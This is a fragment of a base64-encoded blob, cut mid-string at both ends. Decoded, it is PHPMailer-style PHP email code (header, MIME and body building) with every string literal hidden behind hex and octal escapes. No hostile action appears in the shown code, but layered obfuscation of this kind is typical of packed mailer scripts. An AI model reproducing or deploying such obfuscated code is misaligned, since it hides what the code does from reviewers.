x4M2ZceDI0XDU3IiwgJGxhbmdjb2RlKSkgeyAkbGFuZ2NvZGUgPSAiXHg2NVwxNTYiOyB9ICRmb3VuZGxhbmcgPSB0cnVlOyAkbGFuZ19maWxlID0gJGxhbmdfcGF0aCAuICJceDcwXDE1MFwxNjBcMTU1XDE0MVx4NjlcMTU0XDE0NVwxNjJcNTZceDZjXHg2MVwxNTZceDY3XDU1IiAuICRsYW5nY29kZSAuICJceDJlXDE2MFwxNTBcMTYwIjsgaWYgKCJcMTQ1XDE1NiIgIT0gJGxhbmdjb2RlKSB7IGlmICghc3RhdGljOjppc1Blcm1pdHRlZFBhdGgoJGxhbmdfZmlsZSkgfHwgIWZpbGVfZXhpc3RzKCRsYW5nX2ZpbGUpKSB7ICRmb3VuZGxhbmcgPSBmYWxzZTsgfSBlbHNlIHsgJGZvdW5kbGFuZyA9IChpbmNsdWRlICRsYW5nX2ZpbGUpOyB9IH0gJHRoaXMtPmxhbmd1YWdlID0gJFBIUE1BSUxFUl9MQU5HOyByZXR1cm4gKGJvb2wpICRmb3VuZGxhbmc7IH0gcHVibGljIGZ1bmN0aW9uIGdldFRyYW5zbGF0aW9ucygpIHsgcmV0dXJuICR0aGlzLT5sYW5ndWFnZTsgfSBwdWJsaWMgZnVuY3Rpb24gYWRkckFwcGVuZCgkdHlwZSwgJGFkZHIpIHsgJGFkZHJlc3NlcyA9IGFycmF5KCk7IGZvcmVhY2ggKCRhZGRyIGFzICRhZGRyZXNzKSB7ICRhZGRyZXNzZXNbXSA9ICR0aGlzLT5hZGRyRm9ybWF0KCRhZGRyZXNzKTsgfSByZXR1cm4gJHR5cGUgLiAiXHgzYVw0MCIgLiBpbXBsb2RlKCJceDJjXHgyMCIsICRhZGRyZXNzZXMpIC4gc3RhdGljOjokTEU7IH0gcHVibGljIGZ1bmN0aW9uIGFkZHJGb3JtYXQoJGFkZHIpIHsgaWYgKGVtcHR5KCRhZGRyWzFdKSkgeyByZXR1cm4gJHRoaXMtPnNlY3VyZUhlYWRlcigkYWRkclswXSk7IH0gcmV0dXJuICR0aGlzLT5lbmNvZGVIZWFkZXIoJHRoaXMtPnNlY3VyZUhlYWRlcigkYWRkclsxXSksICJcMTYwXDE1MFx4NzJceDYxXDE2M1x4NjUiKSAuICJceDIwXDc0IiAuICR0aGlzLT5zZWN1cmVIZWFkZXIoJGFkZHJbMF0pIC4gIlw3NiI7IH0gcHVibGljIGZ1bmN0aW9uIHdyYXBUZXh0KCRtZXNzYWdlLCAkbGVuZ3RoLCAkcXBfbW9kZSA9IGZhbHNlKSB7IGlmICgkcXBfbW9kZSkgeyAkc29mdF9icmVhayA9IHNwcmludGYoIlx4MjBcNzVceDI1XDE2MyIsIHN0YXRpYzo6JExFKTsgfSBlbHNlIHsgJHNvZnRfYnJlYWsgPSBzdGF0aWM6OiRMRTsgfSAkaXNfdXRmOCA9IHN0YXRpYzo6Q0hBUlNFVF9VVEY4ID09PSBzdHJ0b2xvd2VyKCR0aGlzLT5DaGFyU2V0KTsgJGxlbGVuID0gc3RybGVuKHN0YXRpYzo6JExFKTsgJGNybGZsZW4gPSBzdHJsZW4oc3RhdGljOjokTEUpOyAkbWVzc2FnZSA9IHN0YXRpYzo6bm9ybWFsaXplQnJlYWtzKCRtZXNzYWdlKTsgaWYgKHN1YnN0cigkbWVzc2FnZSwgLSRsZWxlbikgPT0gc3RhdGljOjokTEUpIHsgJG1lc3NhZ2UgPSBzdWJzdHIoJG1lc3NhZ2UsIDAsIC0kbGVsZW4pOyB9ICRsaW5lcyA9IGV4cGxvZGUoc3RhdGljOjokTEUsICRtZXNzYWdlKTsgJG1lc3NhZ2UgPSAnJzsgZm9yZWFjaCAoJGxpbmVzIGFzICRsaW5lKSB7ICR3b3JkcyA9IGV4cGxvZGUoIlx4MjAiLCAkbGluZSk7ICRidWYgPSAnJzsgJGZpcnN0d29yZCA9IHRydWU7IGZvcmVhY2ggKCR3b3JkcyBhcyAkd29yZCkgeyBpZiAoJHFwX21vZGUgYW5kIHN0cmxlbigkd29yZCkgPiAkbGVuZ3RoKSB7ICRzcGFjZV9sZWZ0ID0gJGxlbmd0aCAtIHN0cmxlbigkYnVmKSAtICRjcmxmbGVuOyBpZiAoISRmaXJzdHdvcmQpIHsgaWYgKCRzcGFjZV9sZWZ0ID4gMjApIHsgJGxlbiA9ICRzcGFjZV9sZWZ0OyBpZiAoJGlzX3V0ZjgpIHsgJGxlbiA9ICR0aGlzLT51dGY4Q2hhckJvdW5kYXJ5KCR3b3JkLCAkbGVuKTsgfSBlbHNlaWYgKCJcNzUiID09IHN1YnN0cigkd29yZCwgJGxlbiAtIDEsIDEpKSB7IC0tJGxlbjsgfSBlbHNlaWYgKCJceDNkIiA9PSBzdWJzdHIoJHdvcmQsICRsZW4gLSAyLCAxKSkgeyAkbGVuIC09IDI7IH0gJHBhcnQgPSBzdWJzdHIoJHdvcmQsIDAsICRsZW4pOyAkd29yZCA9IHN1YnN0cigkd29yZCwgJGxlbik7ICRidWYgLj0gIlx4MjAiIC4gJHBhcnQ7ICRtZXNzYWdlIC49ICRidWYgLiBzcHJpbnRmKCJcNzVcNDVcMTYzIiwgc3RhdGljOjokTEUpOyB9IGVsc2UgeyAkbWVzc2FnZSAuPSAkYnVmIC4gJHNvZnRfYnJlYWs7IH0gJGJ1ZiA9ICcnOyB9IHdoaWxlIChzdHJsZW4oJHdvcmQpID4gMCkgeyBpZiAoJGxlbmd0aCA8PSAwKSB7IGJyZWFrOyB9ICRsZW4gPSAkbGVuZ3RoOyBpZiAoJGlzX3V0ZjgpIHsgJGxlbiA9ICR0aGlzLT51dGY4Q2hhckJvdW5kYXJ5KCR3b3JkLCAkbGVuKTsgfSBlbHNlaWYgKCJcNzUiID09IHN1YnN0cigkd29yZCwgJGxlbiAtIDEsIDEpKSB7IC0tJGxlbjsgfSBlbHNlaWYgKCJceDNkIiA9PSBzdWJzdHIoJHdvcmQsICRsZW4gLSAyLCAxKSkgeyAkbGVuIC09IDI7IH0gJHBhcnQgPSBzdWJzdHIoJHdvcmQsIDAsICRsZW4pOyAkd29yZCA9IHN1YnN0cigkd29yZCwgJGxlbik7IGlmIChzdHJsZW4oJHdvcmQpID4gMCkgeyAkbWVzc2FnZSAuPSAkcGFydCAuIHNwcmludGYoIlx4M2RcNDVcMTYzIiwgc3RhdGljOjokTEUpOyB9IGVsc2UgeyAkYnVmID0gJHBhcnQ7IH0gfSB9IGVsc2UgeyAkYnVmX28gPSAkYnVmOyBpZiAoISRmaXJzdHdvcmQpIHsgJGJ1ZiAuPSAiXHgyMCI7IH0gJGJ1ZiAuPSAkd29yZDsgaWYgKHN0cmxlbigkYnVmKSA+ICRsZW5ndGggYW5kICcnICE9ICRidWZfbykgeyAkbWVzc2FnZSAuPSAkYnVmX28gLiAkc29mdF9icmVhazsgJGJ1ZiA9ICR3b3JkOyB9IH0gJGZpcnN0d29yZCA9IGZhbHNlOyB9ICRtZXNzYWdlIC49ICRidWYgLiBzdGF0aWM6OiRMRTsgfSByZXR1cm4gJG1lc3NhZ2U7IH0gcHVibGljIGZ1bmN0aW9uIHV0ZjhDaGFyQm91bmRhcnkoJGVuY29kZWRUZXh0LCAkbWF4TGVuZ3RoKSB7ICRmb3VuZFNwbGl0UG9zID0gZmFsc2U7ICRsb29rQmFjayA9IDM7IHdoaWxlICghJGZvdW5kU3BsaXRQb3MpIHsgJGxhc3RDaHVuayA9IHN1YnN0cigkZW5jb2RlZFRleHQsICRtYXhMZW5ndGggLSAkbG9va0JhY2ssICRsb29rQmFjayk7ICRlbmNvZGVkQ2hhclBvcyA9IHN0cnBvcygkbGFzdENodW5rLCAiXHgzZCIpOyBpZiAoZmFsc2UgIT09ICRlbmNvZGVkQ2hhclBvcykgeyAkaGV4ID0gc3Vic3RyKCRlbmNvZGVkVGV4dCwgJG1heExlbmd0aCAtICRsb29rQmFjayArICRlbmNvZGVkQ2hhclBvcyArIDEsIDIpOyAkZGVjID0gaGV4ZGVjKCRoZXgpOyBpZiAoJGRlYyA8IDEyOCkgeyBpZiAoJGVuY29kZWRDaGFyUG9zID4gMCkgeyAkbWF4TGVuZ3RoIC09ICRsb29rQmFjayAtICRlbmNvZGVkQ2hhclBvczsgfSAkZm91bmRTcGxpdFBvcyA9IHRydWU7IH0gZWxzZWlmICgkZGVjID49IDE5MikgeyAkbWF4TGVuZ3RoIC09ICRsb29rQmFjayAtICRlbmNvZGVkQ2hhclBvczsgJGZvdW5kU3BsaXRQb3MgPSB0cnVlOyB9IGVsc2VpZiAoJGRlYyA8IDE5MikgeyAkbG9va0JhY2sgKz0gMzsgfSB9IGVsc2UgeyAkZm91bmRTcGxpdFBvcyA9IHRydWU7IH0gfSByZXR1cm4gJG1heExlbmd0aDsgfSBwdWJsaWMgZnVuY3Rpb24gc2V0V29yZFdyYXAoKSB7IGlmICgkdGhpcy0+V29yZFdyYXAgPCAxKSB7IHJldHVybjsgfSBzd2l0Y2ggKCR0aGlzLT5tZXNzYWdlX3R5cGUpIHsgY2FzZSAiXHg2MVx4NmNcMTY0IjogY2FzZSAiXHg2MVx4NmNcMTY0XHg1Zlx4NjlcMTU2XHg2Y1x4NjlcMTU2XHg2NSI6IGNhc2UgIlwxNDFcMTU0XDE2NFx4NWZceDYxXDE2NFwxNjRcMTQxXDE0M1x4NjgiOiBjYXNlICJcMTQxXHg2Y1x4NzRceDVmXDE1MVx4NmVcMTU0XDE1MVx4NmVceDY1XHg1ZlwxNDFcMTY0XHg3NFx4NjFceDYzXDE1MCI6ICR0aGlzLT5BbHRCb2R5ID0gJHRoaXMtPndyYXBUZXh0KCR0aGlzLT5BbHRCb2R5LCAkdGhpcy0+V29yZFdyYXApOyBicmVhazsgZGVmYXVsdDogJHRoaXMtPkJvZHkgPSAkdGhpcy0+d3JhcFRleHQoJHRoaXMtPkJvZHksICR0aGlzLT5Xb3JkV3JhcCk7IGJyZWFrOyB9IH0gcHVibGljIGZ1bmN0aW9uIGNyZWF0ZUhlYWRlcigpIHsgJHJlc3VsdCA9ICcnOyAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKCJceDQ0XDE0MVwxNjRceDY1IiwgJycgPT0gJHRoaXMtPk1lc3NhZ2VEYXRlID8gc2VsZjo6cmZjRGF0ZSgpIDogJHRoaXMtPk1lc3NhZ2VEYXRlKTsgaWYgKCR0aGlzLT5TaW5nbGVUbykgeyBpZiAoIlx4NmRcMTQxXHg2OVx4NmMiICE9ICR0aGlzLT5NYWlsZXIpIHsgZm9yZWFjaCAoJHRoaXMtPnRvIGFzICR0b2FkZHIpIHsgJHRoaXMtPlNpbmdsZVRvQXJyYXlbXSA9ICR0aGlzLT5hZGRyRm9ybWF0KCR0b2FkZHIpOyB9IH0gfSBlbHNlIHsgaWYgKGNvdW50KCR0aGlzLT50bykgPiAwKSB7IGlmICgiXHg2ZFwxNDFcMTUxXHg2YyIgIT0gJHRoaXMtPk1haWxlcikgeyAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCJceDU0XDE1NyIsICR0aGlzLT50byk7IH0gfSBlbHNlaWYgKGNvdW50KCR0aGlzLT5jYykgPT0gMCkgeyAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKCJceDU0XHg2ZiIsICJcMTY1XDE1Nlx4NjRceDY5XHg3M1wxNDNcMTU0XDE1N1wxNjNcMTQ1XHg2NFw1NVx4NzJcMTQ1XHg2M1wxNTFceDcwXDE1MVx4NjVceDZlXHg3NFx4NzNceDNhXHgzYiIpOyB9IH0gJHJlc3VsdCAuPSAkdGhpcy0+YWRkckFwcGVuZCgiXDEwNlx4NzJceDZmXDE1NSIsIGFycmF5KGFycmF5KHRyaW0oJHRoaXMtPkZyb20pLCAkdGhpcy0+RnJvbU5hbWUpKSk7IGlmIChjb3VudCgkdGhpcy0+Y2MpID4gMCkgeyAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCJcMTAzXDE0MyIsICR0aGlzLT5jYyk7IH0gaWYgKCgiXDE2M1x4NjVcMTU2XDE0NFx4NmRcMTQxXDE1MVwxNTQiID09ICR0aGlzLT5NYWlsZXIgb3IgIlwxNjFceDZkXDE0MVx4NjlceDZjIiA9PSAkdGhpcy0+TWFpbGVyIG9yICJcMTU1XDE0MVwxNTFcMTU0IiA9PSAkdGhpcy0+TWFpbGVyKSBhbmQgY291bnQoJHRoaXMtPmJjYykgPiAwKSB7ICRyZXN1bHQgLj0gJHRoaXMtPmFkZHJBcHBlbmQoIlx4NDJcMTQzXDE0MyIsICR0aGlzLT5iY2MpOyB9IGlmIChjb3VudCgkdGhpcy0+UmVwbHlUbykgPiAwKSB7ICRyZXN1bHQgLj0gJHRoaXMtPmFkZHJBcHBlbmQoIlwxMjJceDY1XHg3MFwxNTRcMTcxXDU1XDEyNFx4NmYiLCAkdGhpcy0+UmVwbHlUbyk7IH0gaWYgKCJceDZkXHg2MVx4NjlcMTU0IiAhPSAkdGhpcy0+TWFpbGVyKSB7ICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoIlx4NTNceDc1XHg2MlwxNTJceDY1XDE0M1wxNjQiLCAkdGhpcy0+ZW5jb2RlSGVhZGVyKCR0aGlzLT5zZWN1cmVIZWFkZXIoJHRoaXMtPlN1YmplY3QpKSk7IH0gaWYgKCcnICE9ICR0aGlzLT5NZXNzYWdlSUQgYW5kIHByZWdfbWF0Y2goIlw1N1x4NWVcNzRceDJlXDUyXHg0MFx4MmVcNTJcNzZceDI0XDU3IiwgJHRoaXMtPk1lc3NhZ2VJRCkpIHsgJHRoaXMtPmxhc3RNZXNzYWdlSUQgPSAkdGhpcy0+TWVzc2FnZUlEOyB9IGVsc2UgeyAkdGhpcy0+bGFzdE1lc3NhZ2VJRCA9IHNwcmludGYoIlw3NFw0NVx4NzNcMTAwXHgyNVx4NzNcNzYiLCAkdGhpcy0+dW5pcXVlaWQsICR0aGlzLT5zZXJ2ZXJIb3N0bmFtZSgpKTsgfSAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKCJceDRkXDE0NVx4NzNcMTYzXDE0MVx4NjdceDY1XHgyZFx4NDlceDQ0IiwgJHRoaXMtPmxhc3RNZXNzYWdlSUQpOyBpZiAobnVsbCAhPT0gJHRoaXMtPlByaW9yaXR5KSB7ICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoIlx4NThceDJkXDEyMFwxNjJcMTUxXHg2ZlwxNjJceDY5XDE2NFwxNzEiLCAkdGhpcy0+UHJpb3JpdHkpOyB9IGlmICgnJyA9PSAkdGhpcy0+WE1haWxlcikgeyAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKCJcMTMwXDU1XDExNVx4NjFcMTUxXHg2Y1wxNDVceDcyIiwgIlwxMjBceDQ4XDEyMFx4NGRcMTQxXHg2OVwxNTRcMTQ1XHg3Mlw0MCIgLiBzZWxmOjpWRVJTSU9OKTsgfSBlbHNlIHsgJG15WG1haWxlciA9IHRyaW0oJHRoaXMtPlhNYWlsZXIpOyBpZiAoJG15WG1haWxlcikgeyAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKCJceDU4XHgyZFx4NGRceDYxXDE1MVwxNTRcMTQ1XHg3MiIsICRteVhtYWlsZXIpOyB9IH0gaWYgKCcnICE9ICR0aGlzLT5Db25maXJtUmVhZGluZ1RvKSB7ICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoIlx4NDRcMTUxXHg3M1wxNjBcMTU3XDE2M1x4NjlcMTY0XHg2OVwxNTdceDZlXDU1XDExNlx4NmZceDc0XHg2OVx4NjZceDY5XHg2M1x4NjFcMTY0XHg2OVx4NmZcMTU2XDU1XDEyNFx4NmYiLCAiXHgzYyIgLiAkdGhpcy0+Q29uZmlybVJlYWRpbmdUbyAuICJceDNlIik7IH0gZm9yZWFjaCAoJHRoaXMtPkN1c3RvbUhlYWRlciBhcyAkaGVhZGVyKSB7ICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUodHJpbSgkaGVhZGVyWzBdKSwgJHRoaXMtPmVuY29kZUhlYWRlcih0cmltKCRoZWFkZXJbMV0pKSk7IH0gaWYgKCEkdGhpcy0+c2lnbl9rZXlfZmlsZSkgeyAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKCJceDRkXDExMVwxMTVceDQ1XDU1XDEyNlx4NjVcMTYyXDE2M1x4NjlceDZmXHg2ZSIsICJcNjFcNTZcNjAiKTsgJHJlc3VsdCAuPSAkdGhpcy0+Z2V0TWFpbE1JTUUoKTsgfSByZXR1cm4gJHJlc3VsdDsgfSBwdWJsaWMgZnVuY3Rpb24gZ2V0TWFpbE1JTUUoKSB7ICRyZXN1bHQgPSAnJzsgJGlzbXVsdGlwYXJ0ID0gdHJ1ZTsgc3dpdGNoICgkdGhpcy0+bWVzc2FnZV90eXBlKSB7IGNhc2UgIlx4NjlcMTU2XHg2Y1x4NjlcMTU2XDE0NSI6ICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoIlx4NDNcMTU3XDE1NlwxNjRcMTQ1XDE1NlwxNjRcNTVceDU0XHg3OVx4NzBceDY1Iiwgc3RhdGljOjpDT05URU5UX1RZUEVfTVVMVElQQVJUX1JFTEFURUQgLiAiXHgzYiIpOyAkcmVzdWx0IC49ICR0aGlzLT50ZXh0TGluZSgiXHg5XHg2MlwxNTdcMTY1XHg2ZVx4NjRcMTQxXHg3Mlx4NzlceDNkXHgyMiIgLiAkdGhpcy0+Ym91bmRhcnlbMV0gLiAiXDQyIik7IGJyZWFrOyBjYXNlICJceDYxXDE2NFwxNjRcMTQxXHg2M1x4NjgiOiBjYXNlICJceDY5XHg2ZVwxNTRceDY5XDE1NlwxNDVcMTM3XDE0MVwxNjRcMTY0XDE0MVx4NjNceDY4IjogY2FzZSAiXDE0MVx4NmNceDc0XDEzN1wxNDFcMTY0XHg3NFwxNDFceDYzXDE1MCI6IGNhc2UgIlx4NjFceDZjXDE2NFwxMzdcMTUxXHg2ZVx4NmNceDY5XHg2ZVx4NjVcMTM3XHg2MVwxNjRceDc0XHg2MVx4NjNceDY4IjogJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgiXDEwM1wxNTdceDZlXHg3NFx4NjVceDZlXHg3NFw1NVx4NTRcMTcxXDE2MFwxNDUiLCBzdGF0aWM6OkNPTlRFTlRfVFlQRV9NVUxUSVBBUlRfTUlYRUQgLiAiXDczIik7ICRyZXN1bHQgLj0gJHRoaXMtPnRleHRMaW5lKCJcMTFceDYyXHg2ZlwxNjVceDZlXHg2NFx4NjFceDcyXHg3OVx4M2RceDIyIiAuICR0aGlzLT5ib3VuZGFyeVsxXSAuICJceDIyIik7IGJyZWFrOyBjYXNlICJceDYxXDE1NFx4NzQiOiBjYXNlICJcMTQxXHg2Y1x4NzRcMTM3XDE1MVwxNTZceDZjXHg2OVx4NmVceDY1IjogJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgiXHg0M1x4NmZceDZlXDE2NFwxNDVcMTU2XDE2NFw1NVx4NTRcMTcxXHg3MFwxNDUiLCBzdGF0aWM6OkNPTlRFTlRfVFlQRV9NVUxUSVBBUlRfQUxURVJOQVRJVkUgLiAiXHgzYiIpOyAkcmVzdWx0IC49ICR0aGlzLT50ZXh0TGluZSgiXHg5XDE0MlwxNTdceDc1XDE1Nlx4NjRceDYxXDE2MlwxNzFcNzVcNDIiIC4gJHRoaXMtPmJvdW5kYXJ5WzFdIC4gIlw0MiIpOyBicmVhazsgZGVmYXVsdDogJHJlc3VsdCAuPSAkdGhpcy0+dGV4dExpbmUoIlwxMDNcMTU3XHg2ZVx4NzRcMTQ1XHg2ZVwxNjRcNTVceDU0XHg3OVwxNjBcMTQ1XDcyXHgyMCIgLiAkdGhpcy0+Q29udGVudFR5cGUgLiAiXDczXDQwXHg2M1x4NjhcMTQxXHg3MlwxNjNceDY1XDE2NFw3NSIgLiAkdGhpcy0+Q2hhclNldCk7ICRpc211bHRpcGFydCA9IGZhbHNlOyBicmVhazsgfSBpZiAoc3RhdGljOjpFTkNPRElOR183QklUICE9ICR0aGlzLT5FbmNvZGluZykgeyBpZiAoJGlzbXVsdGlwYXJ0KSB7IGlmIChzdGF0aWM6OkVOQ09ESU5HXzhCSVQgPT0gJHRoaXMtPkVuY29kaW5nKSB7ICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoIlx4NDNceDZmXDE1Nlx4NzRceDY1XDE1NlwxNjRcNTVceDU0XHg3Mlx4NjFceDZlXDE2M1wxNDZcMTQ1XHg3Mlw1NVwxMDVcMTU2XDE0M1wxNTdcMTQ0XDE1MVwxNTZceDY3Iiwgc3RhdGljOjpFTkNPRElOR184QklUKTsgfSB9IGVsc2UgeyAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKCJceDQzXDE1N1wxNTZceDc0XHg2NVx4NmVcMTY0XDU1XDEyNFwxNjJceDYxXDE1Nlx4NzNcMTQ2XDE0NVwxNjJcNTVceDQ1XHg2ZVwxNDNceDZmXHg2NFx4NjlceDZlXDE0NyIsICR0aGlzLT5FbmNvZGluZyk7IH0gfSBpZiAoIlx4NmRceDYxXHg2OVwxNTQiICE9ICR0aGlzLT5NYWlsZXIpIHsgJHJlc3VsdCAuPSBzdGF0aWM6OiRMRTsgfSByZXR1cm4gJHJlc3VsdDsgfSBwdWJsaWMgZnVuY3Rpb24gZ2V0U2VudE1JTUVNZXNzYWdlKCkgeyByZXR1cm4gcnRyaW0oJHRoaXMtPk1JTUVIZWFkZXIgLiAkdGhpcy0+bWFpbEhlYWRlciwgIlx4YVwxNSIpIC4gc3RhdGljOjokTEUgLiBzdGF0aWM6OiRMRSAuICR0aGlzLT5NSU1FQm9keTsgfSBwcm90ZWN0ZWQgZnVuY3Rpb24gZ2VuZXJhdGVJZCgpIHsgJGxlbiA9IDMyOyBpZiAoZnVuY3Rpb25fZXhpc3RzKCJcMTYyXDE0MVwxNTZcMTQ0XDE1N1x4NmRceDVmXDE0MlwxNzFceDc0XHg2NVwxNjMiKSkgeyAkYnl0ZXMgPSByYW5kb21fYnl0ZXMoJGxlbik7IH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoIlwxNTdcMTYwXHg2NVx4NmVcMTYzXHg3M1wxNTRceDVmXHg3MlwxNDFceDZlXDE0NFx4NmZcMTU1XDEzN1wxNjBcMTYzXHg2NVx4NzVcMTQ0XHg2ZlwxMzdcMTQyXDE3MVx4NzRcMTQ1XHg3MyIpKSB7ICRieXRlcyA9IG9wZW5zc2xfcmFuZG9tX3BzZXVkb19ieXRlcygkbGVuKTsgfSBlbHNlIHsgJGJ5dGVzID0gaGFzaCgiXHg3M1x4NjhcMTQxXDYyXDY1XDY2IiwgdW5pcWlkKChzdHJpbmcpIG10X3JhbmQoKSwgdHJ1ZSksIHRydWUpOyB9IHJldHVybiBzdHJfcmVwbGFjZShhcnJheSgiXDc1IiwgIlx4MmIiLCAiXDU3IiksICcnLCBiYXNlNjRfZW5jb2RlKGhhc2goIlx4NzNcMTUwXHg2MVw2Mlw2NVw2NiIsICRieXRlcywgdHJ1ZSkpKTsgfSBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlQm9keSgpIHsgJGJvZHkgPSAnJzsgJHRoaXMtPnVuaXF1ZWlkID0gJHRoaXMtPmdlbmVyYXRlSWQoKTsgJHRoaXMtPmJvdW5kYXJ5WzFdID0gIlx4NjJcNjFcMTM3IiAuICR0aGlzLT51bmlxdWVpZDsgJHRoaXMtPmJvdW5kYXJ5WzJdID0gIlwxNDJcNjJceDVmIiAuICR0aGlzLT51bmlxdWVpZDsgJHRoaXMtPmJvdW5kYXJ5WzNdID0gIlx4NjJceDMzXHg1ZiIgLiAkdGhpcy0+dW5pcXVlaWQ7IGlmICgkdGhpcy0+c2lnbl9rZXlfZmlsZSkgeyAkYm9keSAuPSAkdGhpcy0+Z2V0TWFpbE1JTUUoKSAuIHN0YXRpYzo6JExFOyB9ICR0aGlzLT5zZXRXb3JkV3JhcCgpOyAkYm9keUVuY29kaW5nID0gJHRoaXMtPkVuY29kaW5nOyAkYm9keUNoYXJTZXQgPSAkdGhpcy0+Q2hhclNldDsgaWYgKHN0YXRpYzo6RU5DT0RJTkdfOEJJVCA9PSAkYm9keUVuY29kaW5nIGFuZCAhJHRoaXMtPmhhczhiaXRDaGFycygkdGhpcy0+Qm9keSkpIHsgJGJvZHlFbmNvZGluZyA9IHN0YXRpYzo6RU5DT0RJTkdfN0JJVDsgJGJvZHlDaGFyU2V0ID0gIlwxNjVcMTYzXDU1XDE0MVx4NzNceDYzXDE1MVwxNTEiOyB9IGlmIChzdGF0aWM6OkVOQ09ESU5HX0JBU0U2NCAhPSAkdGhpcy0+RW5jb2RpbmcgYW5kIHN0YXRpYzo6aGFzTGluZUxvbmdlclRoYW5NYXgoJHRoaXMtPkJvZHkpKSB7ICRib2R5RW5jb2RpbmcgPSBzdGF0aWM6OkVOQ09ESU5HX1FVT1RFRF9QUklOVEFCTEU7IH0gJGFsdEJvZHlFbmNvZGluZyA9ICR0aGlzLT5FbmNvZGluZzsgJGFsdEJvZHlDaGFyU2V0ID0gJHRoaXMtPkNoYXJTZXQ7IGlmIChzdGF0aWM6OkVOQ09ESU5HXzhCSVQgPT0gJGFsdEJvZHlFbmNvZGluZyBhbmQgISR0aGlzLT5oYXM4Yml0Q2hhcnMoJHRoaXMtPkFsdEJvZHkpKSB7ICRhbHRCb2R5RW5jb2RpbmcgPSBzdGF0aWM6OkVOQ09ESU5HXzdCSVQ7ICRhbHRCb2R5Q2hhclNldCA9ICJceDc1XDE2M1x4MmRcMTQxXDE2M1x4NjNceDY5XDE1MSI7IH0gaWYgKHN0YXRpYzo6RU5DT0RJTkdfQkFTRTY0ICE9ICRhbHRCb2R5RW5jb2RpbmcgYW5kIHN0YXRpYzo6aGFzTGluZUxvbmdlclRoYW5NYXgoJHRoaXMtPkFsdEJvZHkpKSB7ICRhbHRCb2R5RW5jb2RpbmcgPSBzdGF0aWM6OkVOQ09ESU5HX1FVT1RFRF9QUklOVEFCTEU7IH0gJG1pbWVwcmUgPSAiXDEyNFx4NjhceDY5XDE2M1w0MFwxNTFceDczXHgyMFwxNDFceDIwXDE1NVx4NzVceDZjXDE2NFwxNTFceDJkXDE2MFx4NjFceDcyXHg3NFx4MjBceDZkXHg2NVwxNjNcMTYzXDE0MVwxNDdceDY1XHgyMFwxNTFceDZlXDQwXDExNVwxMTFceDRkXHg0NVx4MjBcMTQ2XHg2ZlwxNjJceDZkXHg2MVwxNjRcNTYiIC4gc3RhdGljOjokTEU7IHN3aXRjaCAoJHRoaXMtPm1lc3NhZ2VfdHlwZSkgeyBjYXNlICJceDY5XDE1Nlx4NmNcMTUxXDE1NlwxNDUiOiAkYm9keSAuPSAkbWltZXByZTsgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJGJvZHlDaGFyU2V0LCAnJywgJGJvZHlFbmNvZGluZyk7ICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkJvZHksICRib2R5RW5jb2RpbmcpOyAkYm9keSAuPSBzdGF0aWM6OiRMRTsgJGJvZHkgLj0gJHRoaXMtPmF0dGFjaEFsbCgiXHg2OVwxNTZcMTU0XHg2OVx4NmVceDY1IiwgJHRoaXMtPmJvdW5kYXJ5WzFdKTsgYnJlYWs7IGNhc2UgIlx4NjFcMTY0XDE2NFwxNDFceDYzXDE1MCI6ICRib2R5IC49ICRtaW1lcHJlOyAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzFdLCAkYm9keUNoYXJTZXQsICcnLCAkYm9keUVuY29kaW5nKTsgJGJvZHkgLj0gJHRoaXMtPmVuY29kZVN0cmluZygkdGhpcy0+Qm9keSwgJGJvZHlFbmNvZGluZyk7ICRib2R5IC49IHN0YXRpYzo6JExFOyAkYm9keSAuPSAkdGhpcy0+YXR0YWNoQWxsKCJcMTQxXDE2NFx4NzRceDYxXHg2M1wxNTBcMTU1XDE0NVx4NmVcMTY0IiwgJHRoaXMtPmJvdW5kYXJ5WzFdKTsgYnJlYWs7IGNhc2UgIlwxNTFcMTU2XDE1NFwxNTFcMTU2XDE0NVwxMzdcMTQxXHg3NFwxNjRcMTQxXHg2M1wxNTAiOiAkYm9keSAuPSAkbWltZXByZTsgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCJcNTVcNTUiIC4gJHRoaXMtPmJvdW5kYXJ5WzFdKTsgJGJvZHkgLj0gJHRoaXMtPmhlYWRlckxpbmUoIlx4NDNceDZmXHg2ZVx4NzRcMTQ1XDE1Nlx4NzRceDJkXHg1NFwxNzFceDcwXDE0NSIsIHN0YXRpYzo6Q09OVEVOVF9UWVBFX01VTFRJUEFSVF9SRUxBVEVEIC4gIlw3MyIpOyAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoIlx4OVx4NjJceDZmXHg3NVx4NmVcMTQ0XHg2MVx4NzJcMTcxXHgzZFx4MjIiIC4gJHRoaXMtPmJvdW5kYXJ5WzJdIC4gIlx4MjIiKTsgJGJvZHkgLj0gc3RhdGljOjokTEU7ICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sICRib2R5Q2hhclNldCwgJycsICRib2R5RW5jb2RpbmcpOyAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R